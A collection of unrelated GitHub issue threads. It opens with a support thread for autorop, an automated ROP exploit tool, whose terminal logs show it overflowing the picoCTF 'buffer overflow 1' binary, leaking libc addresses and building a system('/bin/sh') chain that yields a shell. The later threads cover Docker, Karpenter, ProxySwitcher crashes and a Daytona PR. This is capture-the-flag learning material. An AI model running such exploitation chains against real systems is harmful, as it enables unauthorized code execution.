Enters interactive mode after parsing core file

I just installed on Kali 2022.1 using a Python virtual environment. The file I am trying is from picoCTF called 'buffer overflow 1'. Not sure if you need to be logged in to download the binary - https://artifacts.picoctf.net/c/252/vuln
When I perform 'autorop ./vuln' I receive the output in the attached below
It gets to 'interactive mode' and then I'm not sure what to do. I tried 44 A's as 44 was the apparent offset required. I then just pressed enter and it reached EOF
`┌──(venv)─(kali㉿kali)-[~/work]
└─$ autorop ./vuln
[] '/home/kali/work/vuln'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
[] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[] Pipeline [1/5]: Corefile()
[+] Starting local process './vuln': pid 4016
[] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4016)
[+] Receiving all data: Done (65B)
[!] Error parsing corefile stack: Found bad environment at 0xfff72fc1
[+] Parsing corefile...: Done
[] '/home/kali/work/core.4016'
Arch:      i386-32-little
EIP:       0x6161616c
ESP:       0xfff71470
Exe:       '/home/kali/work/vuln' (0x8048000)
Fault:     0x6161616c
[] Fault address @ 0x6161616c
[] Offset to return address is 44
[] Pipeline [2/5]: OpenTarget()
[+] Starting local process './vuln': pid 4024
[] Pipeline [3/5]: Puts(False, ['__libc_start_main', 'puts'])
[+] Starting local process './vuln': pid 4026
[] Loaded 10 cached gadgets for './vuln'
[] 0x0000:        0x804900e ret
0x0004:        0x804900e ret
0x0008:        0x804900e ret
0x000c:        0x8049080 puts(0x804c024)
0x0010:        0x8049022 <adjust @0x18> pop ebx; ret
0x0014:        0x804c024 got.__libc_start_main
0x0018:        0x804900e ret
0x001c:        0x804900e ret
0x0020:        0x804900e ret
0x0024:        0x8049080 puts(0x804c01c)
0x0028:        0x8049022 <adjust @0x30> pop ebx; ret
0x002c:        0x804c01c got.puts
0x0030:        0x804900e ret
0x0034:        0x804900e ret
0x0038:        0x804900e ret
0x003c:        0x80492c4 main()
[] leaked __libc_start_main @ 0xf7ce0820
[] leaked puts @ 0xf7d314e0
[] Pipeline [4/5]: Auto()
[] Searching for libc based on leaks using libc.rip
[!] 4 matching libc's found, picking first one
[] Downloading libc
[] '/home/kali/work/.autorop.libc'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
[] Pipeline [5/5]: SystemBinSh()
[] Loaded 161 cached gadgets for '.autorop.libc'
[] 0x0000:        0x804900e ret
0x0004:        0x804900e ret
0x0008:        0x804900e ret
0x000c:       0xf7d06d00 system(0xf7e51c42)
0x0010:       0xf7cf551a <adjust @0x18> add esp, 4; ret
0x0014:       0xf7e51c42 arg0
0x0018:        0x804900e ret
0x001c:        0x804900e ret
0x0020:        0x804900e ret
0x0024:        0x80492c4 main()
[] Switching to interactive mode
Okay, time to return... Fingers Crossed... Jumping to 0x804900e
sh: 1: Syntax error: "(" unexpected
Please enter your string:
$
[] Interrupted
[] Stopped process './vuln' (pid 4026)
[] Stopped process './vuln' (pid 4024)
┌──(venv)─(kali㉿kali)-[~/work]
└─$ ls
core.4016  vuln
┌──(venv)─(kali㉿kali)-[~/work]
└─$ rm core.4016
┌──(venv)─(kali㉿kali)-[~/work]
└─$ ls
vuln
┌──(venv)─(kali㉿kali)-[~/work]
└─$ autorop ./vuln
[] '/home/kali/work/vuln'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
[] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[] Pipeline [1/5]: Corefile()
[+] Starting local process './vuln': pid 4456
[] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4456)
[+] Receiving all data: Done (65B)
[!] Error parsing corefile stack: Found bad environment at 0xff944fc1
[+] Parsing corefile...: Done
[] '/home/kali/work/core.4456'
Arch:      i386-32-little
EIP:       0x6161616c
ESP:       0xff9435a0
Exe:       '/home/kali/work/vuln' (0x8048000)
Fault:     0x6161616c
[] Fault address @ 0x6161616c
[] Offset to return address is 44
[] Pipeline [2/5]: OpenTarget()
[+] Starting local process './vuln': pid 4464
[] Pipeline [3/5]: Puts(False, ['__libc_start_main', 'puts'])
[+] Starting local process './vuln': pid 4466
[] Loaded 10 cached gadgets for './vuln'
[] 0x0000:        0x804900e ret
0x0004:        0x804900e ret
0x0008:        0x804900e ret
0x000c:        0x8049080 puts(0x804c024)
0x0010:        0x8049022 <adjust @0x18> pop ebx; ret
0x0014:        0x804c024 got.__libc_start_main
0x0018:        0x804900e ret
0x001c:        0x804900e ret
0x0020:        0x804900e ret
0x0024:        0x8049080 puts(0x804c01c)
0x0028:        0x8049022 <adjust @0x30> pop ebx; ret
0x002c:        0x804c01c got.puts
0x0030:        0x804900e ret
0x0034:        0x804900e ret
0x0038:        0x804900e ret
0x003c:        0x80492c4 main()
[] leaked __libc_start_main @ 0xf7cd6820
[] leaked puts @ 0xf7d274e0
[] Pipeline [4/5]: Auto()
[] Searching for libc based on leaks using libc.rip
[!] 4 matching libc's found, picking first one
[] Downloading libc
[] '/home/kali/work/.autorop.libc'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
[] Pipeline [5/5]: SystemBinSh()
[] Loaded 161 cached gadgets for '.autorop.libc'
[] 0x0000:        0x804900e ret
0x0004:        0x804900e ret
0x0008:        0x804900e ret
0x000c:       0xf7cfcd00 system(0xf7e47c42)
0x0010:       0xf7ceb51a <adjust @0x18> add esp, 4; ret
0x0014:       0xf7e47c42 arg0
0x0018:        0x804900e ret
0x001c:        0x804900e ret
0x0020:        0x804900e ret
0x0024:        0x80492c4 main()
[] Switching to interactive mode
Okay, time to return... Fingers Crossed... Jumping to 0x804900e
sh: 1: Syntax error: "(" unexpected
Please enter your string:
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x8049300
[] Got EOF while reading in interactive
$
[] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4466)
[] Got EOF while sending in interactive
Traceback (most recent call last):
File "/home/kali/gitclones/autorop/venv/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
[*] Stopped process './vuln' (pid 4464)`

Hi,
The given binary is autorop-able on my Arch linux machine. It is possible that autorop is picking the wrong libc automatically. You do not need to (although it is harmless) to write the AAAA... manually, autorop does it for you.
This is the most interesting line, and implies something weird is passed to the shell:
sh: 1: Syntax error: "(" unexpected

How it looks upon success:
(venv) mariusz ~/Projects/autorop $ autorop vuln
[*] '/home/mariusz/Projects/autorop/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())
[*] Pipeline [1/5]: Corefile()
[!] Could not find executable 'vuln' in $PATH, using './vuln' instead
[+] Starting local process './vuln': pid 44370
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 44370)
[+] Receiving all data: Done (65B)
[!] Error parsing corefile stack: Found bad environment at 0xffdacfbf
[+] Parsing corefile...: Done
[*] '/home/mariusz/Projects/autorop/core.44370'
    Arch:      i386-32-little
    EIP:       0x6161616c
    ESP:       0xffdab620
    Exe:       '/home/mariusz/Projects/autorop/vuln' (0x8048000)
    Fault:     0x6161616c
[*] Fault address @ 0x6161616c
[*] Offset to return address is 44
[*] Pipeline [2/5]: OpenTarget()
[+] Starting local process './vuln': pid 44374
[*] Pipeline [3/5]: Puts(False, ['__libc_start_main', 'puts'])
[+] Starting local process './vuln': pid 44376
[*] Loaded 10 cached gadgets for 'vuln'
[*] 0x0000:        0x804900e ret
    0x0004:        0x804900e ret
    0x0008:        0x804900e ret
    0x000c:        0x8049080 puts(0x804c024)
    0x0010:        0x8049022 <adjust @0x18> pop ebx; ret
    0x0014:        0x804c024 got.__libc_start_main
    0x0018:        0x804900e ret
    0x001c:        0x804900e ret
    0x0020:        0x804900e ret
    0x0024:        0x8049080 puts(0x804c01c)
    0x0028:        0x8049022 <adjust @0x30> pop ebx; ret
    0x002c:        0x804c01c got.puts
    0x0030:        0x804900e ret
    0x0034:        0x804900e ret
    0x0038:        0x804900e ret
    0x003c:        0x80492c4 main()
[*] leaked __libc_start_main @ 0xf7d5a290
[*] leaked puts @ 0xf7dabaf0
[*] Pipeline [4/5]: Auto()
[*] Searching for libc based on leaks
[!] 3 matching libc's found, picking first one
[*] '/home/mariusz/.libc-database/db/libc-2.35-1-x86.so'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Pipeline [5/5]: SystemBinSh()
[*] Loaded 182 cached gadgets for '/home/mariusz/.libc-database/db/libc-2.35-1-x86.so'
[*] 0x0000:        0x804900e ret
    0x0004:        0x804900e ret
    0x0008:        0x804900e ret
    0x000c:       0xf7d80810 system(0xf7ef30ce)
    0x0010:       0xf7d6ef4e <adjust @0x18> add esp, 4; ret
    0x0014:       0xf7ef30ce arg0
    0x0018:        0x804900e ret
    0x001c:        0x804900e ret
    0x0020:        0x804900e ret
    0x0024:        0x80492c4 main()
[*] Switching to interactive mode
Okay, time to return... Fingers Crossed... Jumping to 0x804900e
$ wc -l README.rst
108 README.rst

Sadly I do not have time to debug this particular case in depth myself.
It is possible you can resolve this thorugh using a local libc database installation (optional step 3 in the README), and removing the incorrect libcs.
It is also possible that if you target the remote server (passing in host and port on command line after the binary) it could automatically pwn, because the server might be running a "lucky" libc version.
The libc inflexibility is a limitation in autorop, I just never got around to fixing it :cry:
Closed in favour of more general (new) issue #11.


404 at /desktop/windows/install/%20

I found a broken link : https://docs.docker.com/desktop/windows/install/
I arrived on this page through: https://www.google.com/

I suspect you accidentally copied a trailing space (or someone posted an incorrect URL somewhere)
The correct URL for that page is https://docs.docker.com/desktop/windows/install/
I checked our source code, and I couldn't find the link mentioned, so let me close this ticket, but feel free to continue the conversation


Add filter to know if Inquisition quest are completed

It would be very useful if there have some filters to know about completed quests, like Inquisition, Children, and all other access like Scarlet and Oberon. But after read that the MinifiedCharacterData.json size could be a problem(is still?), I thought that if we have only a filter to Inquisition like the Soul War filter, it might fix the problem.
If you agreed, I could cooperate with you to develop some features as long as I have some specifications about the project limits.
And thanks for this application :)

it will definetely be implemented in the future!


Include toe keypoint - Body-Foot Estimation

Hello!
Is there any way to include the foot (toe keypoints) in your model or are they excluded for a reason? I noticed in the OpenPose sample here:
https://github.com/CMU-Perceptual-Computing-Lab/openpose
There is a toe keypoint but I am unsure how to convert that model to CoreML.
If it can be included in your current model that would be amazing!
@tucan9389 any insight on this would be greatly appreciated !

Hi @tucan9389  how can I modify the model structure here - https://github.com/edvardHua/PoseEstimationForMobile
To return 4 keypoints instead of 14 with different names? Do I modify the mv2_cpm.cfg file?

Not only change cfg file but also other python script file 6 month ago.
I don’t know the current structure of the project now.

Hi @tucan9389, first, I want to say thanks for your work. In my recent work, I need all the 25 key points for pose estimation, per you discussions above, do I need to annotate the missing keypoints on my own?

@yubeiluo
I'm sorry for late reply.

Hi @tucan9389, first, I want to say thanks for your work. In my recent work, I need all the 25 key points for pose estimation, per you discussions above, do I need to annotate the missing keypoints on my own?

Yes. But If you find the dataset annotated 25 keypoints what you want, no need to annotate again.


Nodes are stuck in Instance is terminating for more than 5 minutes

Description
Observed Behavior:
Instance takes more than 5 minutes to terminate. Not sure if this is a bug or to be expected, but this sounds quite long (especially since we run SpotToSpotConsolidation, which leads to a lot of volatility in our pods.
Expected Behavior:
The node should be deleted quickly.
Reproduction Steps (Please include YAML):
Karpenter deployment yaml:
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "16"
    meta.helm.sh/release-name: karpenter
    meta.helm.sh/release-namespace: karpenter
  creationTimestamp: "2023-05-09T13:21:52Z"
  generation: 16
  labels:
    app.kubernetes.io/instance: karpenter
    app.kubernetes.io/managed-by: Helm
    app.kubernetes.io/name: karpenter
    app.kubernetes.io/version: 1.0.1
    helm.sh/chart: karpenter-1.0.1
  name: karpenter
  namespace: karpenter
  resourceVersion: "612913263"
  uid: ee206f21-41e2-4481-a159-b94f80842e68
spec:
  progressDeadlineSeconds: 600
  replicas: 2
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app.kubernetes.io/instance: karpenter
      app.kubernetes.io/name: karpenter
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 1
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app.kubernetes.io/instance: karpenter
        app.kubernetes.io/name: karpenter
    spec:
      affinity:
        nodeAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            nodeSelectorTerms:
            - matchExpressions:
              - key: karpenter.sh/nodepool
                operator: DoesNotExist
        podAntiAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
          - labelSelector:
              matchLabels:
                app.kubernetes.io/instance: karpenter
                app.kubernetes.io/name: karpenter
            topologyKey: kubernetes.io/hostname
      containers:
      - env:
        - name: KUBERNETES_MIN_VERSION
          value: 1.19.0-0
        - name: KARPENTER_SERVICE
          value: karpenter
        - name: WEBHOOK_PORT
          value: "8443"
        - name: WEBHOOK_METRICS_PORT
          value: "8001"
        - name: DISABLE_WEBHOOK
          value: "false"
        - name: LOG_LEVEL
          value: debug
        - name: METRICS_PORT
          value: "8080"
        - name: HEALTH_PROBE_PORT
          value: "8081"
        - name: SYSTEM_NAMESPACE
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
        - name: MEMORY_LIMIT
          valueFrom:
            resourceFieldRef:
              containerName: controller
              divisor: "0"
              resource: limits.memory
        - name: FEATURE_GATES
          value: SpotToSpotConsolidation=true
        - name: BATCH_MAX_DURATION
          value: 10s
        - name: BATCH_IDLE_DURATION
          value: 1s
        - name: CLUSTER_NAME
          value: cluster-name
        - name: VM_MEMORY_OVERHEAD_PERCENT
          value: "0.075"
        - name: INTERRUPTION_QUEUE
          value: Karpenter-cluster-name
        - name: RESERVED_ENIS
          value: "0"
        image: public.ecr.aws/karpenter/controller:1.0.1@sha256:fc54495b35dfeac6459ead173dd8452ca5d572d90e559f09536a494d2795abe6
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: http
            scheme: HTTP
          initialDelaySeconds: 30
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 30
        name: controller
        ports:
        - containerPort: 8080
          name: http-metrics
          protocol: TCP
        - containerPort: 8001
          name: webhook-metrics
          protocol: TCP
        - containerPort: 8443
          name: https-webhook
          protocol: TCP
        - containerPort: 8081
          name: http
          protocol: TCP
        readinessProbe:
          failureThreshold: 3
          httpGet:
            path: /readyz
            port: http
            scheme: HTTP
          initialDelaySeconds: 5
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 30
        resources:
          limits:
            cpu: 250m
            memory: 1700Mi
          requests:
            cpu: 250m
            memory: 1700Mi
        securityContext:
          allowPrivilegeEscalation: false
          capabilities:
            drop:
            - ALL
          readOnlyRootFilesystem: true
          runAsGroup: 65532
          runAsNonRoot: true
          runAsUser: 65532
          seccompProfile:
            type: RuntimeDefault
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      nodeSelector:
        kubernetes.io/os: linux
      priorityClassName: system-cluster-critical
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext:
        fsGroup: 65532
      serviceAccount: karpenter
      serviceAccountName: karpenter
      terminationGracePeriodSeconds: 30
      tolerations:
      - key: CriticalAddonsOnly
        operator: Exists
      topologySpreadConstraints:
      - labelSelector:
          matchLabels:
            app.kubernetes.io/instance: karpenter
            app.kubernetes.io/name: karpenter
        maxSkew: 1
        topologyKey: topology.kubernetes.io/zone
        whenUnsatisfiable: DoNotSchedule
status:
  availableReplicas: 2
  conditions:
  - lastTransitionTime: "2023-07-05T11:27:38Z"
    lastUpdateTime: "2023-07-05T11:27:38Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: "2024-09-05T11:27:26Z"
    lastUpdateTime: "2024-09-16T14:00:08Z"
    message: ReplicaSet "karpenter-5cc6587844" has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 16
  readyReplicas: 2
  replicas: 2
  updatedReplicas: 2

When deleting a node, it quickly show Instance is terminating. But then takes more than 5 minutes to actually delete the pod.
   Normal   DisruptionTerminating    5m38s                karpenter              Disrupting Node: Empty/Delete
│   Warning  FailedDraining           5m38s                karpenter              Failed to drain node, 9 pods are waiting to be evicted                                                                   │
│   Warning  InstanceTerminating      5m34s                karpenter              Instance is terminating                                                                                │
│   Normal   NodeNotReady             4m54s                node-controller        Node ip-10-2-18-42.eu-west-1.compute.internal status is now: NodeNotReady                                                │
│   Normal   DisruptionBlocked        89s (x3 over 5m38s)  karpenter              Cannot disrupt Node: state node is marked for deletion

AFAIK the 9 pods that are waiting to be evicted are daemonsets (such as prometheus, nvidia gpu plugin, nvidia NFD, GPF, and also aws-node, ebs-csi, ...)
I see that quite rapidly, the only 5 pods remaining on the node are aws-node, ebs-csi-node, kube-proxy, monitoring-prometheus-node-exporter, node-problem-detector.
I enabled debug logging on karpenter, but I cannot see anything related to the node except the following lines:
karpenter-5cc6587844-cmqzj {"level":"INFO","time":"2024-09-16T14:05:11.982Z","logger":"controller","caller":"termination/controller.go:103","message":"tainted node","commit":"62a726c","controller":"node.termination","controllerGroup":"","controllerKind":"Node","Node":{"name":"ip-10-2-18-42.eu-west-1.compute.internal"},"namespace":"","name":"ip-10-2-18-42.eu-west-1.compute.internal","reconcileID":"6f51e1fb-2538-4fd3-b623-9614a1edd79b","taint.Key":"karpenter.sh/disrupted","taint.Value":"","taint.Effect":"NoSchedule"}

<5 minutes later...>

karpenter-5cc6587844-cmqzj {"level":"INFO","time":"2024-09-16T14:11:25.451Z","logger":"controller","caller":"termination/controller.go:160","message":"deleted node","commit":"62a726c","controller":"node.termination","controllerGroup":"","controllerKind":"Node","Node":{"name":"ip-10-2-18-42.eu-west-1.compute.internal"},"namespace":"","name":"ip-10-2-18-42.eu-west-1.compute.internal","reconcileID":"67cf99ae-4b57-479d-82d0-32412a5a174e"}
karpenter-5cc6587844-cmqzj {"level":"INFO","time":"2024-09-16T14:11:25.789Z","logger":"controller","caller":"termination/controller.go:79","message":"deleted nodeclaim","commit":"62a726c","controller":"nodeclaim.termination","controllerGroup":"karpenter.sh","controllerKind":"NodeClaim","NodeClaim":{"name":"private-provisioner-gpu-sphwd"},"namespace":"","name":"private-provisioner-gpu-sphwd","reconcileID":"de40ce45-d302-46aa-8165-734e2bfcdfbd","Node":{"name":"ip-10-2-18-42.eu-west-1.compute.internal"},"provider-id":"xxx"}

Versions:

Chart Version: 1.0.1
Kubernetes Version (kubectl version): v1.29.7-eks-2f46c53

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
Please do not leave "+1" or "me too" comments, they generate extra noise for issue followers and do not help prioritize the request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Do you have PDBs/do-not-disrupt pods setup? Those would slow down the rate that Karpenter can drain your node. In v1, we also wait for the instance to be fully terminated before removing the node/nodeclaim, so you might be seeing that as well. That ensures that all applications are cleaned up before we go ahead deregister the node from the cluster.
You may be interested in setting terminationGracePeriod on your NodePool.Spec.Template.Spec.TerminationGracePeriod to set a timeout on how long Karpenter can be draining a node before it's forcibly cleaned up. https://karpenter.sh/docs/concepts/disruption/#terminationgraceperiod

I do not have PDBs on the 5 pods that remains on the node while it is "stuck" (aws-node, ebs-csi-node, kube-proxy, monitoring-prometheus-node-exporter, node-problem-detector). They are all from DaemonSets. However, some of these pods are in the priority class system-node-critical`, if this matters.
Thank you for the link to TerminationGracePeriod, this may be what I end up using, even if I would prefer to understand why some pods seems to be blocking draining. I am not even sure that "blocking draining" are the right words, because when I look at the logs, I see:
  Warning  FailedDraining           64s                karpenter              Failed to drain node, 9 pods are waiting to be evicted                                                                     │
│   Warning  InstanceTerminating      51s                karpenter              Instance is terminating

Which, as I understand it, means that all pods were evicted after 13s, and that the instance was terminating.
Writing this, I wonder if this is just an issue with AWS taking too long to terminate the instance ? I'll try to monitor the status of the AWS instance alongside karpenter to see if the instance if really placed in a Terminating state on the AWS side of things,


Issue #31 Car Racing Ideation

I have added the basic idea of the game and the features the game must-have for the developer.
Pls check

Merged


ProxySwitcher crashing under Windows10 64bit

As above, when I connect and disconnect to VPN several times proxy switcher stops working. No error messages or anything else to suggest it crashed. Except when mouse is moved over the tray icon it immediately disappears. Starting ProxySwitcher makes it work again for a few switches until it crashes again the same way. This was not an issue on Windows7.
This is a great little program that I find very useful. Going back to manual is really painful. I would love to help to resolve this issue but I have no .NET programming or debugging experience what so ever. If anyone capable could look into this I would offer all the help I can. Thanks in advance.

You can try to open the Event Viewer and have a look in the "Application" log. There should be an entry for the crashed application.

Hi mwiedemeyer,
Thanks for such a quick reply! I found several entries in Windows Application logs relating to the most recent crash:
Event ID 1001
`Fault bucket<PHONE_NUMBER>91, type 4
Event Name: APPCRASH
Response: Not available
Cab Id: 0
Problem signature:
P1: ProxySwitcher.exe
P2: <IP_ADDRESS>2
P3: 4f6b956a
P4: KERNELBASE.dll
P5: 10.0.15063.502
P6: 005405b5
P7: c000041d
P8:<PHONE_NUMBER>069e08
P9:
P10:
Attached files:
\?\C:\Users\co7306\AppData\Local\Temp\WERDA90.tmp.WERDataCollectionStatus.txt
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE94.tmp.csv
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WEREED3.tmp.txt
These files may be available here:
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_ProxySwitcher.ex_16aff8ed4ceb238548f8cd22d20fbc74402bb3_c989719d_5b3f098c
Analysis symbol:
Rechecking for solution: 0
Report Id: c97caa6c-1fcb-4a0e-8e99-bf6fb3deee92
Report Status: 268435456
Hashed bucket: d5c2860d7d3c4257efba3edd495c70d3`
Event ID 1000
Faulting application name: ProxySwitcher.exe, version: <IP_ADDRESS>2, time stamp: 0x4f6b956a Faulting module name: KERNELBASE.dll, version: 10.0.15063.502, time stamp: 0x005405b5 Exception code: 0xc000041d Fault offset: 0x0000000000069e08 Faulting process id: 0x3648 Faulting application start time: 0x01d31ce9837ed421 Faulting application path: C:\Program Files (x86)\Proxy Switcher\ProxySwitcher.exe Faulting module path: C:\WINDOWS\System32\KERNELBASE.dll Report Id: c97caa6c-1fcb-4a0e-8e99-bf6fb3deee92 Faulting package full name:  Faulting package-relative application ID:
and Event ID 1001
`Fault bucket -1409233160, type 5
Event Name: CLR20r3
Response: Not available
Cab Id: 0
Problem signature:
P1: ProxySwitcher.exe
P2: <IP_ADDRESS>2
P3: 4f6b956a
P4: Hardcodet.Wpf.TaskbarNotification
P5: <IP_ADDRESS>
P6: 4b83c9e6
P7: a6
P8: 2f
P9: System.ComponentModel.Win32
P10:
Attached files:
\?\C:\Users\co7306\AppData\Local\Temp\WER83A6.tmp.WERDataCollectionStatus.txt
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER991F.tmp.csv
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER995E.tmp.txt
These files may be available here:
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_ProxySwitcher.ex_32c06a4873ea9871db3bd87ed389f515949194ec_c989719d_15c6c261
Analysis symbol:
Rechecking for solution: 0
Report Id: 6aea937c-5605-4982-9b30-58cc61ceb2d5
Report Status: 268435456
Hashed bucket: 95a700244e5ebec144d2d30bab908a8c`

Got some more, hope this is more useful
Source: .NET Runtime / Event ID:1026
Application: ProxySwitcher.exe
Framework Version: v4.0.30319
Description: The process was terminated due to an unhandled exception.
Exception Info: System.ComponentModel.Win32Exception
at Hardcodet.Wpf.TaskbarNotification.TaskbarIcon.CreateTaskbarIcon()
at Hardcodet.Wpf.TaskbarNotification.Interop.WindowMessageSink.OnWindowMessageReceived(IntPtr, UInt32, UInt32, UInt32)
Source: Application Error / Event ID: 1000
Faulting application name: ProxySwitcher.exe, version: <IP_ADDRESS>2, time stamp: 0x4f6b956a
Faulting module name: KERNELBASE.dll, version: 10.0.15063.502, time stamp: 0x005405b5
Exception code: 0xe0434352
Fault offset: 0x0000000000069e08
Faulting process id: 0x40a4
Faulting application start time: 0x01d328745d0cd2a3
Faulting application path: C:\Program Files (x86)\Proxy Switcher\ProxySwitcher.exe
Faulting module path: C:\WINDOWS\System32\KERNELBASE.dll
Report Id: 9e92c123-735e-4a76-9ace-3d812ecf21d3
Faulting package full name:
Faulting package-relative application ID:
Source: Windows Error Reporting / Event ID: 1001
Fault bucket , type 0
Event Name: RADAR_PRE_LEAK_64
Response: Not available
Cab Id: 0
Problem signature:
P1: explorer.exe
P2: 10.0.15063.447
P3: 10.0.15<IP_ADDRESS>
P4:
P5:
P6:
P7:
P8:
P9:
P10:
Attached files:
\?\C:\Users\co7306\AppData\Local\Temp\RDR470C.tmp\empty.txt
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER470D.tmp.WERInternalMetadata.xml
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER472E.tmp.csv
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER47AC.tmp.txt
These files may be available here:
Analysis symbol:
Rechecking for solution: 0
Report Id: 6b660357-53b5-44b2-917d-5c02c47001f9
Report Status: 536870914
Hashed bucket:
Source: Windows Error Reporting / Event ID: 1001
Fault bucket , type 0
Event Name: CLR20r3
Response: Not available
Cab Id: 0
Problem signature:
P1: ProxySwitcher.exe
P2: <IP_ADDRESS>2
P3: 4f6b956a
P4: Hardcodet.Wpf.TaskbarNotification
P5: <IP_ADDRESS>
P6: 4b83c9e6
P7: a6
P8: 2f
P9: System.ComponentModel.Win32
P10:
Attached files:
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E66.tmp.dmp
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER24FF.tmp.WERInternalMetadata.xml
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER253C.tmp.csv
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WER25E9.tmp.txt
\?\C:\Users\co7306\AppData\Local\Temp\WER31E2.tmp.appcompat.txt
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_ProxySwitcher.ex_32c06a4873ea9871db3bd87ed389f515949194ec_c989719d_cab_3403324c\memory.hdmp
These files may be available here:
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_ProxySwitcher.ex_32c06a4873ea9871db3bd87ed389f515949194ec_c989719d_cab_3403324c
Analysis symbol:
Rechecking for solution: 0
Report Id: 9e92c123-735e-4a76-9ace-3d812ecf21d3
Report Status: 6
Hashed bucket:
Source: Application Error / Event ID: 1000
Faulting application name: ProxySwitcher.exe, version: <IP_ADDRESS>2, time stamp: 0x4f6b956a
Faulting module name: KERNELBASE.dll, version: 10.0.15063.502, time stamp: 0x005405b5
Exception code: 0xc000041d
Fault offset: 0x0000000000069e08
Faulting process id: 0x40a4
Faulting application start time: 0x01d328745d0cd2a3
Faulting application path: C:\Program Files (x86)\Proxy Switcher\ProxySwitcher.exe
Faulting module path: C:\WINDOWS\System32\KERNELBASE.dll
Report Id: 81b553c5-e564-4d14-bdc2-9a7ae808dce5
Faulting package full name:
Faulting package-relative application ID:


Provider requirement handling

Description
Requirement checks are added for providers before daytona starts, also a continuation of #1222
This PR addresses issue https://github.com/daytonaio/daytona/issues/673
Related Issue(s)
This PR addresses issue #673

@Tpuljak please have a look, i have been able to implement them in the rpc, and client setups, but i havent yet implemeted it in the main cli yet, i was having come nil pointer error when i tried testing it out locally , so i think its best the setups get merged then i can perform the calls to the checkrequirement() before daytona runs,
this is what i am referring to in the server.go
               infoColor := color.New(color.FgHiBlue).SprintFunc()
		warningColor := color.New(color.FgRed).SprintFunc()
		p := RequirementProvider{}

		requirements, err := p.Provider.CheckRequirements()
		if err != nil {
			return err
		}
		if requirements == nil {

		}

		for _, req := range *requirements {

			if req.Met {
				allRequirementsMet = true
				fmt.Printf("%s[0000]     Requirement met: %s\n", infoColor("INFO"), req.Reason)
			} else {
				allRequirementsMet = false
				fmt.Printf("%s[0000]  Requirement not met: %s\n", warningColor("WARNING"), req.Reason)
			}
			if !allRequirementsMet {
				return fmt.Errorf("    Daytona server startup aborted, one or more requirement not met")
			}
		}

@Philip-21 nice work. It seems to be going in the right direction.

this is what i am referring to in the server.go , i will add this to handle the requirement checks

This should also be added in this PR. We will release Daytona and the Providers on the same day so both should be in sync.

fmt.Printf("%s[0000]

Also, instead of this, use log.Info and log.Warn.
P.S. You will need to raise a PR in all our available providers for this to go through.

@Philip-21 nice work. It seems to be going in the right direction.

Thank you

P.S. You will need to raise a PR in all our available providers for this to go through.

Alright, i will add for the other providers to, i have to just look into them and study their sdk abit, since  these other providers are cloud based .

This should also be added in this PR. We will release Daytona and the Providers on the same day so both should be in sync.

fmt.Printf("%s[0000]

Also, instead of this, use log.Info and log.Warn.

Alright this is fine,

